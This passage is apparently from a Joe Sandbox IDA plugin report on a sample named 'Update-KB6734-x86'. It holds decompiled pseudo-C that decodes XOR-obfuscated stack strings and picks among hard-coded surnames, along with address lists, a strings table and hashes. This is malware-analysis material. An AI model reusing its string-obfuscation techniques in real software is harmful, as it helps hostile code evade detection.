				_t451 =  &_a476; // 0x69
				_a100 = _t451;
				_a104 =  &_a188;
				_a108 =  &_a348;
				_a116 = _t514;
				_a112 =  &_a220;
				_a120 =  &_a212;
				_a124 =  &_a252;
				_t466 =  &_a416; // 0x67
				_a128 =  &_a152;
				_a132 =  &_a172;
				_a136 = _t466;
				_a140 =  &_a180;
				_a144 =  &_a160;
				_a148 = _v24;
				_t518 = E0040C1D0( &_a180);
				_t650 =  *((intOrPtr*)(_t655 + 0x28 + _t518 % 0x28 * 4));
				_t520 =  *((intOrPtr*)(_t655 + 0x28 + _t518 % 0x28 * 4));
				_t643 = _t520 + 1;
				do {
					_t586 =  *_t520;
					_t520 = _t520 + 1;
				} while (_t586 != __ebx);
				return E00424873(E004028A0(_a496, _t650, _t520 - _t643), _a480);
			}

0x0040f0e9
0x0040f0e9
0x0040f0f0
0x0040f0f7
0x0040f0fe
0x0040f105
0x0040f106
0x0040f10d
0x0040f10e
0x0040f129
0x0040f13f
0x0040f14d
0x0040f15b
0x0040f171
0x0040f178
0x0040f17f
0x0040f186
0x0040f18e
0x0040f196
0x0040f19e
0x0040f1a6
0x0040f1ae
0x0040f1b6
0x0040f1be
0x0040f1c0
0x0040f1d0
0x0040f1d7
0x0040f1de
0x0040f1e5
0x0040f1e6
0x0040f1ed
0x0040f1ee
0x0040f20c
0x0040f21a
0x0040f22d
0x0040f23b
0x0040f247
0x0040f257
0x0040f25e
0x0040f265
0x0040f26e
0x0040f27a
0x0040f282
0x0040f289
0x0040f290
0x0040f298
0x0040f2a0
0x0040f2a8
0x0040f2b0
0x0040f2b8
0x0040f2bf
0x0040f2c7
0x0040f2cf
0x0040f2d7
0x0040f2df
0x0040f2e7
0x0040f2ef
0x0040f2f6
0x0040f2fe
0x0040f306
0x0040f30e
0x0040f315
0x0040f31d
0x0040f322
0x0040f32b
0x0040f333
0x0040f337
0x0040f33f
0x0040f347
0x0040f34f
0x0040f357
0x0040f35f
0x0040f367
0x0040f36f
0x0040f377
0x0040f37e
0x0040f386
0x0040f38e
0x0040f396
0x0040f39e
0x0040f3a6
0x0040f3ae
0x0040f3b6
0x0040f3be
0x0040f3c6
0x0040f3ce
0x0040f3d6
0x0040f3de
0x0040f3e6
0x0040f3f3
0x0040f3f7
0x0040f3ff
0x0040f407
0x0040f40f
0x0040f417
0x0040f41f
0x0040f427
0x0040f42f
0x0040f437
0x0040f439
0x0040f440
0x0040f447
0x0040f44e
0x0040f455
0x0040f456
0x0040f45d
0x0040f45e
0x0040f47c
0x0040f48d
0x0040f49e
0x0040f4ae
0x0040f4c0
0x0040f4d1
0x0040f4d8
0x0040f4e3
0x0040f4ea
0x0040f4f2
0x0040f4f9
0x0040f500
0x0040f508
0x0040f510
0x0040f518
0x0040f520
0x0040f528
0x0040f52f
0x0040f537
0x0040f53f
0x0040f547
0x0040f54f
0x0040f557
0x0040f55f
0x0040f566
0x0040f56e
0x0040f576
0x0040f57e
0x0040f586
0x0040f58e
0x0040f596
0x0040f59e
0x0040f5a6
0x0040f5ae
0x0040f5b6
0x0040f5be
0x0040f5c6
0x0040f5ce
0x0040f5db
0x0040f5dd
0x0040f5e5
0x0040f5ed
0x0040f5f5
0x0040f5fd
0x0040f605
0x0040f60d
0x0040f615
0x0040f61d
0x0040f624
0x0040f62c
0x0040f634
0x0040f63c
0x0040f644
0x0040f64c
0x0040f654
0x0040f65b
0x0040f663
0x0040f66b
0x0040f673
0x0040f67b
0x0040f683
0x0040f68b
0x0040f694
0x0040f69c
0x0040f6a4
0x0040f6ac
0x0040f6b4
0x0040f6bc
0x0040f6c4
0x0040f6cc
0x0040f6d4
0x0040f6dc
0x0040f6e4
0x0040f6ec
0x0040f6f4
0x0040f6fc
0x0040f701
0x0040f70a
0x0040f712
0x0040f714
0x0040f71c
0x0040f724
0x0040f72c
0x0040f734
0x0040f73c
0x0040f744
0x0040f74c
0x0040f754
0x0040f75b
0x0040f763
0x0040f76b
0x0040f773
0x0040f77b
0x0040f783
0x0040f78a
0x0040f792
0x0040f79a
0x0040f7a2
0x0040f7aa
0x0040f7b2
0x0040f7ba
0x0040f7c2
0x0040f7ca
0x0040f7d2
0x0040f7d9
0x0040f7e1
0x0040f7e9
0x0040f7f1
0x0040f7f9
0x0040f801
0x0040f809
0x0040f811
0x0040f819
0x0040f821
0x0040f829
0x0040f831
0x0040f83e
0x0040f842
0x0040f847
0x0040f84c
0x0040f851
0x0040f855
0x0040f85d
0x0040f865
0x0040f86d
0x0040f875
0x0040f87d
0x0040f885
0x0040f88c
0x0040f894
0x0040f89c
0x0040f8a4
0x0040f8ac
0x0040f8b3
0x0040f8bb
0x0040f8c3
0x0040f8cb
0x0040f8d3
0x0040f8dc
0x0040f8e4
0x0040f8ec
0x0040f8f3
0x0040f8fb
0x0040f903
0x0040f90b
0x0040f913
0x0040f91b
0x0040f922
0x0040f92a
0x0040f932
0x0040f93a
0x0040f942
0x0040f94a
0x0040f952
0x0040f95a
0x0040f962
0x0040f96a
0x0040f971
0x0040f979
0x0040f981
0x0040f989
0x0040f991
0x0040f998
0x0040f9a0
0x0040f9a8
0x0040f9b0
0x0040f9b8
0x0040f9c0
0x0040f9c8
0x0040f9cf
0x0040f9d7
0x0040f9df
0x0040f9e7
0x0040f9ef
0x0040f9f7
0x0040f9fe
0x0040fa06
0x0040fa0e
0x0040fa16
0x0040fa1e
0x0040fa26
0x0040fa2e
0x0040fa36
0x0040fa3e
0x0040fa46
0x0040fa4e
0x0040fa53
0x0040fa5b
0x0040fa63
0x0040fa6b
0x0040fa73
0x0040fa7b
0x0040fa83
0x0040fa85
0x0040fa90
0x0040fa97
0x0040faa2
0x0040faad
0x0040faae
0x0040fab5
0x0040fab6
0x0040facb
0x0040fadf
0x0040faed
0x0040fb01
0x0040fb0f
0x0040fb19
0x0040fb1e
0x0040fb25
0x0040fb2d
0x0040fb35
0x0040fb3d
0x0040fb45
0x0040fb4d
0x0040fb54
0x0040fb5c
0x0040fb64
0x0040fb6c
0x0040fb74
0x0040fb7c
0x0040fb83
0x0040fb8b
0x0040fb93
0x0040fb9b
0x0040fba3
0x0040fbab
0x0040fbb3
0x0040fbb5
0x0040fbc0
0x0040fbc7
0x0040fbce
0x0040fbd5
0x0040fbdc
0x0040fbdd
0x0040fbe4
0x0040fbe7
0x0040fbeb
0x0040fbeb
0x0040fc08
0x0040fc16
0x0040fc2a
0x0040fc38
0x0040fc4c
0x0040fc53
0x0040fc61
0x0040fc69
0x0040fc6d
0x0040fc74
0x0040fc78
0x0040fc7f
0x0040fc8a
0x0040fc95
0x0040fca0
0x0040fcaf
0x0040fcb3
0x0040fcc2
0x0040fcc6
0x0040fcd1
0x0040fcd5
0x0040fcdc
0x0040fce7
0x0040fcf9
0x0040fd04
0x0040fd0f
0x0040fd13
0x0040fd1a
0x0040fd22
0x0040fd2a
0x0040fd32
0x0040fd3a
0x0040fd42
0x0040fd4a
0x0040fd52
0x0040fd5a
0x0040fd61
0x0040fd69
0x0040fd71
0x0040fd79
0x0040fd81
0x0040fd89
0x0040fd91
0x0040fd98
0x0040fda0
0x0040fda8
0x0040fdb0
0x0040fdb8
0x0040fdc0
0x0040fdc8
0x0040fdcf
0x0040fdd3
0x0040fdd7
0x0040fde6
0x0040fdea
0x0040fdf5
0x0040fe03
0x0040fe11
0x0040fe18
0x0040fe1f
0x0040fe2d
0x0040fe34
0x0040fe3b
0x0040fe49
0x0040fe57
0x0040fe5e
0x0040fe7a
0x0040fe81
0x0040fe88
0x0040fe9d
0x0040fea4
0x0040feab
0x0040feb2
0x0040fecb
0x0040fed2
0x0040fed9
0x0040fee0
0x0040feef
0x0040fef3
0x0040fef5
0x0040fef8
0x0040fef8
0x0040fefa
0x0040fefb
0x0040ff24

Strings

a, xrefs: 0040FB54
gibor, xrefs: 0040FE9D
a, xrefs: 0040FDA0
s, xrefs: 0040FD79
d, xrefs: 0040F79A
g, xrefs: 0040F624
d, xrefs: 0040F347
a, xrefs: 0040F62C
e, xrefs: 0040F847
e, xrefs: 0040F92A
6, xrefs: 0040F2DF
r, xrefs: 0040F6F4
t, xrefs: 0040F518
i, xrefs: 0040F9A8
g, xrefs: 0040F989
n, xrefs: 0040F615
#, xrefs: 0040FA1E
a, xrefs: 0040F85D
k, xrefs: 0040F971
b, xrefs: 0040F3CE
e, xrefs: 0040FB3D
o, xrefs: 0040F2A0
e, xrefs: 0040F95A
B, xrefs: 0040F5CE
h, xrefs: 0040FA53
lybor, xrefs: 0040FC6D
a, xrefs: 0040FB64
d, xrefs: 0040FA0E
q, xrefs: 0040F2E7
r, xrefs: 0040F357
7, xrefs: 0040F65B
s, xrefs: 0040F35F
z, xrefs: 0040FD52
g, xrefs: 0040FB25
e, xrefs: 0040F84C
r, xrefs: 0040F9A0
r, xrefs: 0040FB2D
m, xrefs: 0040FB6C
], xrefs: 0040F7F9
l, xrefs: 0040F842
b, xrefs: 0040F724
r, xrefs: 0040FDA8
m, xrefs: 0040F5F5
g, xrefs: 0040F913
r, xrefs: 0040F87D
agy, xrefs: 0040FE18
J, xrefs: 0040F196
r, xrefs: 0040FDC0
e, xrefs: 0040F520
>, xrefs: 0040FA5B
n, xrefs: 0040F981
h, xrefs: 0040F508
h, xrefs: 0040F596
r, xrefs: 0040F2A8
r, xrefs: 0040F78A
o, xrefs: 0040F298
h, xrefs: 0040F5E5
n, xrefs: 0040FB45
a, xrefs: 0040F942
w, xrefs: 0040F500
y, xrefs: 0040F8F3
k, xrefs: 0040F86D
t, xrefs: 0040F9C0
5, xrefs: 0040FA06
n, xrefs: 0040F36F
p, xrefs: 0040F5FD
eroon, xrefs: 0040FCD5
o, xrefs: 0040F8FB
z, xrefs: 0040F962
o, xrefs: 0040F71C
w, xrefs: 0040F855
i, xrefs: 0040F979
e, xrefs: 0040F3BE
a, xrefs: 0040F337
i, xrefs: 0040F644
herej, xrefs: 0040FC78
e, xrefs: 0040F8CB
t, xrefs: 0040F5DD
o, xrefs: 0040F5ED
`, xrefs: 0040F6B4
n, xrefs: 0040FD89
g, xrefs: 0040F9B0
r, xrefs: 0040F634
l, xrefs: 0040F801
o, xrefs: 0040F367
w, xrefs: 0040F998
r, xrefs: 0040F7A2
e, xrefs: 0040FD69
irdor, xrefs: 0040FE34
e, xrefs: 0040F875
n, xrefs: 0040F33F
o, xrefs: 0040F792
t, xrefs: 0040FDB0
n, xrefs: 0040F8E4
l, xrefs: 0040FD42
p, xrefs: 0040F39E
n, xrefs: 0040F94A
r, xrefs: 0040F714
s, xrefs: 0040F605
>, xrefs: 0040F2D7
l, xrefs: 0040FD71
d, xrefs: 0040F952
e, xrefs: 0040FB35
n, xrefs: 0040F90B
c, xrefs: 0040F63C
m, xrefs: 0040F6E4
6, xrefs: 0040F663
d, xrefs: 0040FB5C
n, xrefs: 0040F93A
r, xrefs: 0040F932
o, xrefs: 0040FD81
h, xrefs: 0040F922
h, xrefs: 0040F9B8
e, xrefs: 0040FD4A
i, xrefs: 0040F510
i, xrefs: 0040F72C
e, xrefs: 0040F34F
s, xrefs: 0040FB74
a, xrefs: 0040F64C
n, xrefs: 0040FD61
i, xrefs: 0040F67B
l, xrefs: 0040F6C4
c, xrefs: 0040FD98
l, xrefs: 0040F865
s, xrefs: 0040F557
u, xrefs: 0040F903
o, xrefs: 0040F60D
e, xrefs: 0040FDB8

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: #$5$6$6$7$>$>$B$J$]$`$a$a$a$a$a$a$a$a$agy$b$b$c$c$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$eroon$g$g$g$g$g$gibor$h$h$h$h$h$h$herej$i$i$i$i$i$i$irdor$k$k$l$l$l$l$l$l$lybor$m$m$m$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$p$p$q$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$t$t$t$t$u$w$w$w$y$z$z
API String ID: 0-1314068085
Opcode ID: 0d3d9c16a7e67113e3b9701a0b24be30b96c2e0d1d52f6ef8f0a9078a67e094f
Instruction ID: 9d4485feb2a8a036b1cfc007295b7909a2e3c490d21ab14ed2397911ff3ccdd3
Opcode Fuzzy Hash: 0d3d9c16a7e67113e3b9701a0b24be30b96c2e0d1d52f6ef8f0a9078a67e094f
Instruction Fuzzy Hash: 02829E2450D7C189E332C7288458BDFBFD25BE6718F488E9EC4DD1B292C6BA0259C767

Uniqueness

Uniqueness Score: -1.00%

Function 0040F1C7, Relevance: 159.3, Strings: 127, Instructions: 534
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0040F1C7(void* __eax, char __ebx, void* __esi, intOrPtr _a4, char* _a8, signed char* _a12, char* _a16, char* _a20, intOrPtr _a24, char* _a28, intOrPtr _a32, char* _a36, intOrPtr _a40, char* _a44, intOrPtr _a48, signed char* _a52, char* _a56, intOrPtr _a60, char* _a64, char* _a68, char* _a72, intOrPtr _a76, char* _a80, char* _a84, signed int* _a88, intOrPtr _a92, char* _a96, intOrPtr _a100, char* _a104, char* _a108, char* _a112, intOrPtr _a116, signed char* _a120, char* _a124, char* _a128, signed char* _a132, intOrPtr _a136, signed int* _a140, char* _a144, intOrPtr _a148, char _a152, char _a153, char _a154, char _a155, char _a156, char _a157, char _a160, char _a161, char _a162, char _a163, char _a164, char _a165, char _a166, signed char _a172, signed char _a173, signed char _a174, signed char _a175, signed char _a176, signed char _a177, signed int _a180, signed int _a181, signed int _a182, signed int _a183, signed int _a184, signed int _a185, char _a186, char _a187, char _a188, char _a189, char _a190, char _a191, signed int _a192, signed int _a193, signed int _a194, signed int _a195, signed int _a196, signed int _a197, signed int _a198, signed int _a199, signed int _a200, signed int _a201, signed int _a202, signed int _a203, signed int _a204, signed int _a205, signed int _a206, char _a207, char _a208, signed char _a212, signed char _a213, signed char _a214, signed char _a215, signed char _a216, signed char _a217, char _a220, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a244, char _a252, char _a253, char _a254, char _a255, char _a256, char _a257, char _a260, char _a261, char _a262, char _a263, char _a264, char _a265, char _a268, char _a269, char _a270, char _a271, char _a272, char _a273, char _a276, char _a284, char _a285, char _a286, char _a287, char _a288, char _a289, char _a292, char _a300, char _a308, char _a316, char _a324, char _a325, char _a326, char _a327, char _a328, char _a329, char _a332, char _a333, char _a334, char _a335, char _a336, char _a337, char _a340, char _a341, char _a342, char _a343, char _a344, char _a345, char _a346, char _a348, signed char _a356, signed char _a357, signed char _a358, signed char _a359, signed char _a360, signed char _a361, signed char _a362, char _a372, char _a380, char _a388, char _a389, char _a390, char _a391, char _a392, char _a393, char _a394, char _a396, char _a404, char _a405, char _a406, char _a407, char _a408, char _a409, char _a410, char _a416, char _a417, char _a418, char _a419, char _a420, char _a421, char _a422, char _a423, char _a424, char _a425, char _a426, char _a427, signed char _a428, signed char _a429, signed char _a430, signed char _a431, signed char _a432, signed char _a433, signed char _a434, signed char _a435, char _a440, char _a452, char _a453, char _a454, char _a455, char _a456, char _a457, char _a458, char _a459, char _a460, char _a464, char _a476, char _a477, char _a478, char _a479, char _a480, char _a481, char _a482, char _a483, char _a484, char _a485, char _a486, char _a487, char _a488, char _a489, char _a490, char _a491, char _a492, char _a493, intOrPtr _a496) {
				intOrPtr _v0;
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v33;
				void* _t457;
				char* _t465;
				void* _t467;
				intOrPtr _t476;
				intOrPtr _t478;
				signed int _t482;
				intOrPtr* _t484;
				char _t490;
				char _t499;
				void* _t511;
				signed char _t518;
				signed char _t520;
				intOrPtr _t545;
				char _t570;
				intOrPtr _t596;
				void* _t597;
				void* _t599;
				void* _t600;
				signed char _t601;
				void* _t602;
				intOrPtr _t606;
				void* _t608;

				_t599 = __esi;
				_t457 = __eax;
				do {
					_t490 =  *((intOrPtr*)(_t608 + _t457 + 0xc8));
					 *((char*)(_t608 + _t457 + 0xc8)) =  *((intOrPtr*)(_t608 + _t599 + 0xc8));
					_t457 = _t457 + 1;
					 *((char*)(_t608 + _t599 + 0xc8)) = _t490;
					_t599 = _t599 - 1;
				} while (_t457 < _t599);
				_a356 = _a200 ^ 0x0000008b;
				_a357 = _a201 ^ 0x0000000e;
				_a359 = _a203 ^ 0x000000b4;
				_a360 = _a204 ^ 0x00000025;
				_a358 = _a202 ^ 0x00000082;
				_a388 = 0xdb;
				_a206 = 0xdb;
				_push(7);
				_a362 = _a206 ^ 0x000000ac;
				_push( &_a388);
				_a361 = _a205 ^ 0x000000e6;
				 *0x431c89 = 0x19;
				_a332 = 0x6d;
				_a333 = 0x6f;
				_a334 = 0x6f;
				_a335 = 0x72;
				_a336 = 0x65;
				_a337 = __ebx;
				_a389 = 0x81;
				_a390 = 0xe5;
				_a391 = 0x9f;
				_a392 = 0x3e;
				_a393 = 0x36;
				_a394 = 0x71;
				_a200 = 0xc6;
				_a201 = 0xb2;
				_a202 = 0xd3;
				_a203 = 0xaa;
				_a204 = 0xc6;
				_a205 = 0xa9;
				_t465 = E0040D980( &_a200);
				_push(7);
				_push( &_a404);
				_a20 = _t465;
				_a480 = 0x61;
				_a481 = 0x6e;
				_a482 = 0x64;
				_a483 = 0x65;
				_a484 = 0x72;
				_a485 = 0x73;
				_a486 = 0x6f;
				_a487 = 0x6e;
				_a488 = __ebx;
				_a404 = 0xae;
				_a405 = 0xa8;
				_a406 = 0xa6;
				_a407 = 0xbf;
				_a408 = 0x70;
				_a409 = 0x89;
				_a410 = 0x13;
				_a192 = 0x11;
				_a193 = 0x65;
				_a194 = 0xd;
				_a195 = 0x62;
				_a196 = 0xf;
				_a197 = 0x6e;
				_a198 = 0x1d;
				_a20 = E0040D980( &_a192);
				_a192 = 0xa8;
				_a193 = 0xa2;
				_a194 = 0xaf;
				_a195 = 0xb1;
				_a196 = 0x15;
				_a197 = 0xd5;
				_a198 = 0x82;
				_a199 = 0x58;
				_t467 = 0;
				_t600 = 7;
				do {
					_t499 =  *((intOrPtr*)(_t608 + _t467 + 0xd0));
					 *((char*)(_t608 + _t467 + 0xd0)) =  *((intOrPtr*)(_t608 + _t600 + 0xd0));
					_t467 = _t467 + 1;
					 *((char*)(_t608 + _t600 + 0xd0)) = _t499;
					_t600 = _t600 - 1;
				} while (_t467 < _t600);
				_a429 = _a193 ^ 0x000000e3;
				_a428 = _a192 ^ 0x00000032;
				_a430 = _a194 ^ 0x000000b6;
				_a432 = _a196 ^ 0x000000c2;
				_a431 = _a195 ^ 0x0000007e;
				_a433 = _a197 ^ 0x000000c0;
				_push(7);
				_a435 = _a199 ^ 0x000000a8;
				_push( &_a356);
				_a434 = _a198 ^ 0x000000cc;
				 *0x431c89 = 0x19;
				_a324 = 0x77;
				_a325 = 0x68;
				_a326 = 0x69;
				_a327 = 0x74;
				_a328 = 0x65;
				_a329 = __ebx;
				_a404 = 0x68;
				_a405 = 0x61;
				_a406 = 0x72;
				_a407 = 0x72;
				_a408 = 0x69;
				_a409 = 0x73;
				_a410 = __ebx;
				_a356 = 0x2a;
				_a357 = 0x9c;
				_a358 = 0xed;
				_a359 = 0x35;
				_a360 = 0x4a;
				_a361 = 0x35;
				_a362 = 0x68;
				_a184 = 0x4f;
				_a185 = 0x22;
				_a186 = 0x43;
				_a187 = 0x31;
				_a188 = 0x45;
				_a189 = 0x2c;
				_a190 = 0x42;
				_t596 = E0040D980( &_a184);
				_a452 = 0x74;
				_a453 = 0x68;
				_a454 = 0x6f;
				_a455 = 0x6d;
				_a456 = 0x70;
				_a457 = 0x73;
				_a458 = 0x6f;
				_a459 = 0x6e;
				_a460 = __ebx;
				_a340 = 0x67;
				_a341 = 0x61;
				_a342 = 0x72;
				_a343 = 0x63;
				_a344 = 0x69;
				_a345 = 0x61;
				_a346 = __ebx;
				_a476 = 0x37;
				_a477 = 0x36;
				_a478 = 0xb3;
				_a479 = 0xc1;
				_a480 = 0x69;
				_a481 = 0x80;
				_push(9);
				_push( &_a476);
				_a482 = 0xc4;
				_a483 = 0x8e;
				_a484 = 0x89;
				_a184 = 0x60;
				_a185 = 0xd;
				_a186 = 0x6c;
				_a187 = 0x1e;
				_a188 = 0x6a;
				_a189 = 3;
				_a190 = 0x6d;
				_a191 = 8;
				_a192 = 0x72;
				_t476 = E0040D980( &_a184);
				_push(6);
				_push( &_a284);
				_t606 = _t476;
				_a420 = 0x72;
				_a421 = 0x6f;
				_a422 = 0x62;
				_a423 = 0x69;
				_a424 = 0x6e;
				_a425 = 0x73;
				_a426 = 0x6f;
				_a427 = 0x6e;
				_a428 = __ebx;
				_a260 = 0x63;
				_a261 = 0x6c;
				_a262 = 0x61;
				_a263 = 0x72;
				_a264 = 0x6b;
				_a265 = __ebx;
				_a480 = 0x72;
				_a481 = 0x6f;
				_a482 = 0x64;
				_a483 = 0x72;
				_a484 = 0x69;
				_a485 = 0x67;
				_a486 = 0x75;
				_a487 = 0x65;
				_a488 = 0x7a;
				_a489 = __ebx;
				_a284 = 0xfd;
				_a285 = 0xda;
				_a286 = 0x64;
				_a287 = 0xb0;
				_a288 = 0x5d;
				_a289 = 0x6c;
				_a196 = 0xc2;
				_a197 = 0xae;
				_a198 = 0xcb;
				_a199 = 0xbc;
				_a200 = 0xd5;
				_a201 = 0xa6;
				_v8 = E0040D980( &_a196);
				_v20 = 0x6c;
				_v19 = 0x65;
				_v18 = 0x65;
				_v17 = __ebx;
				_a340 = 0x77;
				_a341 = 0x61;
				_a342 = 0x6c;
				_a343 = 0x6b;
				_a344 = 0x65;
				_a345 = 0x72;
				_a346 = __ebx;
				_a204 = 0x68;
				_a205 = 0x61;
				_a206 = 0x6c;
				_a207 = 0x6c;
				_a208 = __ebx;
				_a284 = 0x61;
				_a285 = 0x6c;
				_a286 = 0x6c;
				_a287 = 0x65;
				_push(5);
				_push( &_a212);
				_a288 = 0x6e;
				_a289 = __ebx;
				_a268 = 0x79;
				_a269 = 0x6f;
				_a270 = 0x75;
				_a271 = 0x6e;
				_a272 = 0x67;
				_a273 = __ebx;
				_a484 = 0x68;
				_a485 = 0x65;
				_a486 = 0x72;
				_a487 = 0x6e;
				_a488 = 0x61;
				_a489 = 0x6e;
				_a490 = 0x64;
				_a491 = 0x65;
				_a492 = 0x7a;
				_a493 = __ebx;
				_a196 = 0x6b;
				_a197 = 0x69;
				_a198 = 0x6e;
				_a199 = 0x67;
				_a200 = __ebx;
				_a356 = 0x77;
				_a357 = 0x72;
				_a358 = 0x69;
				_a359 = 0x67;
				_a360 = 0x68;
				_a361 = 0x74;
				_a362 = __ebx;
				_a228 = 0x6c;
				_a229 = 0x6f;
				_a230 = 0x70;
				_a231 = 0x65;
				_a232 = 0x7a;
				_a233 = __ebx;
				_a212 = 0xc7;
				_a213 = 0x35;
				_a214 = 0x64;
				_a215 = 0x14;
				_a216 = 0x23;
				_a180 = 0x60;
				_a181 = 8;
				_a182 = 0x61;
				_a183 = 0xd;
				_a184 = 0x61;
				_t478 = E0040D980( &_a180);
				_a172 = 0x68;
				_a173 = 0x3e;
				_a174 = 0xbb;
				_a175 = 0xf0;
				_a176 = 0xec;
				_a177 = 0xa1;
				_t511 = 0;
				_t601 = 5;
				do {
					_v33 =  *((intOrPtr*)(_t608 + _t511 + 0xe0));
					 *((char*)(_t608 + _t511 + 0xe0)) =  *((intOrPtr*)(_t608 + _t601 + 0xe0));
					_t511 = _t511 + 1;
					 *((char*)(_t608 + _t601 + 0xe0)) = _v33;
					_t601 = _t601 - 1;
				} while (_t511 < _t601);
				_a212 = _a172 ^ 0x000000d2;
				_a213 = _a173 ^ 0x0000008f;
				_a214 = _a174 ^ 0x0000009f;
				_a215 = _a175 ^ 0x000000cf;
				_a216 = _a176 ^ 0x0000004a;
				_t518 = 5;
				_a217 = _a177 ^ 0x00000068;
				_a252 = 0x67;
				_a253 = 0x72;
				_a254 = 0x65;
				_a255 = 0x65;
				_a256 = 0x6e;
				_a257 = __ebx;
				_a152 = 0x61;
				_a153 = 0x64;
				_a154 = 0x61;
				_a155 = 0x6d;
				_a156 = 0x73;
				_a157 = __ebx;
				_a180 = 0x7a;
				_a181 = 0x24;
				_a182 = 0x9b;
				_a183 = 6;
				_a184 = 0x77;
				_a185 = 0xe5;
				_t602 = 0;
				_a172 = 5;
				do {
					_t570 =  *((intOrPtr*)(_t608 + _t602 + 0xe8));
					 *((char*)(_t608 + _t602 + 0xe8)) =  *((intOrPtr*)(_t608 + _t518 + 0xe8));
					_t520 = _a172;
					_t602 = _t602 + 1;
					 *((char*)(_t608 + _t520 + 0xe8)) = _t570;
					_t518 = _t520 - 1;
					_v33 = _t570;
					_a172 = _t518;
				} while (_t602 < _t518);
				_a172 = _a180 ^ 0x00000087;
				_a173 = _a181 ^ 0x00000016;
				_a174 = _a182 ^ 0x0000006d;
				_a175 = _a183 ^ 0x000000fe;
				_a176 = _a184 ^ 0x00000056;
				_a177 = _a185 ^ 0x0000007a;
				_v8 =  &_a300;
				_v4 =  &_v32;
				_t351 =  &_a228; // 0x6c
				_v0 = _t351;
				_t353 =  &_a380; // 0x68
				_a4 = _t353;
				_a8 =  &_a388;
				_a12 =  &_a356;
				_a16 =  &_a308;
				_a20 =  &_a284;
				_a24 = _v20;
				_a28 =  &_a440;
				_a32 = _v12;
				_a36 =  &_a396;
				_t371 =  &_a292; // 0x65
				_a40 = _t371;
				_a44 =  &_a372;
				_a52 =  &_a428;
				_a56 =  &_a316;
				_a64 =  &_a404;
				 *0x431c89 = 0x19;
				_a416 = 0x67;
				_a417 = 0x6f;
				_a418 = 0x6e;
				_a419 = 0x7a;
				_a420 = 0x61;
				_a421 = 0x6c;
				_a422 = 0x65;
				_a423 = 0x7a;
				_a424 = __ebx;
				_a180 = 0x6e;
				_a181 = 0x65;
				_a182 = 0x6c;
				_a183 = 0x73;
				_a184 = 0x6f;
				_a185 = 0x6e;
				_a186 = __ebx;
				_a160 = 0x63;
				_a161 = 0x61;
				_a162 = 0x72;
				_a163 = 0x74;
				_a164 = 0x65;
				_a165 = 0x72;
				_a166 = __ebx;
				_a48 = _t596;
				_a60 = _t606;
				_a68 =  &_a244;
				_a72 =  &_a464;
				_a76 = _v16;
				_a80 =  &_v28;
				_a84 =  &_a332;
				_a88 =  &_a196;
				_t418 =  &_a276; // 0x61
				_a92 = _t418;
				_a96 =  &_a260;
				_t422 =  &_a476; // 0x69
				_a100 = _t422;
				_a104 =  &_a188;
				_a108 =  &_a348;
				_a116 = _t478;
				_a112 =  &_a220;
				_a120 =  &_a212;
				_a124 =  &_a252;
				_t437 =  &_a416; // 0x67
				_a128 =  &_a152;
				_a132 =  &_a172;
				_a136 = _t437;
				_a140 =  &_a180;
				_a144 =  &_a160;
				_a148 = _v24;
				_t482 = E0040C1D0( &_a180);
				_t603 =  *((intOrPtr*)(_t608 + 0x28 + _t482 % 0x28 * 4));
				_t484 =  *((intOrPtr*)(_t608 + 0x28 + _t482 % 0x28 * 4));
				_t597 = _t484 + 1;
				do {
					_t545 =  *_t484;
					_t484 = _t484 + 1;
				} while (_t545 != __ebx);
				return E00424873(E004028A0(_a496, _t603, _t484 - _t597), _a480);
			}

0x0040f1c7
0x0040f1c7
0x0040f1d0
0x0040f1d7
0x0040f1de
0x0040f1e5
0x0040f1e6
0x0040f1ed
0x0040f1ee
0x0040f20c
0x0040f21a
0x0040f22d
0x0040f23b
0x0040f247
0x0040f257
0x0040f25e
0x0040f265
0x0040f26e
0x0040f27a
0x0040f282
0x0040f289
0x0040f290
0x0040f298
0x0040f2a0
0x0040f2a8
0x0040f2b0
0x0040f2b8
0x0040f2bf
0x0040f2c7
0x0040f2cf
0x0040f2d7
0x0040f2df
0x0040f2e7
0x0040f2ef
0x0040f2f6
0x0040f2fe
0x0040f306
0x0040f30e
0x0040f315
0x0040f31d
0x0040f322
0x0040f32b
0x0040f333
0x0040f337
0x0040f33f
0x0040f347
0x0040f34f
0x0040f357
0x0040f35f
0x0040f367
0x0040f36f
0x0040f377
0x0040f37e
0x0040f386
0x0040f38e
0x0040f396
0x0040f39e
0x0040f3a6
0x0040f3ae
0x0040f3b6
0x0040f3be
0x0040f3c6
0x0040f3ce
0x0040f3d6
0x0040f3de
0x0040f3e6
0x0040f3f3
0x0040f3f7
0x0040f3ff
0x0040f407
0x0040f40f
0x0040f417
0x0040f41f
0x0040f427
0x0040f42f
0x0040f437
0x0040f439
0x0040f440
0x0040f447
0x0040f44e
0x0040f455
0x0040f456
0x0040f45d
0x0040f45e
0x0040f47c
0x0040f48d
0x0040f49e
0x0040f4ae
0x0040f4c0
0x0040f4d1
0x0040f4d8
0x0040f4e3
0x0040f4ea
0x0040f4f2
0x0040f4f9
0x0040f500
0x0040f508
0x0040f510
0x0040f518
0x0040f520
0x0040f528
0x0040f52f
0x0040f537
0x0040f53f
0x0040f547
0x0040f54f
0x0040f557
0x0040f55f
0x0040f566
0x0040f56e
0x0040f576
0x0040f57e
0x0040f586
0x0040f58e
0x0040f596
0x0040f59e
0x0040f5a6
0x0040f5ae
0x0040f5b6
0x0040f5be
0x0040f5c6
0x0040f5ce
0x0040f5db
0x0040f5dd
0x0040f5e5
0x0040f5ed
0x0040f5f5
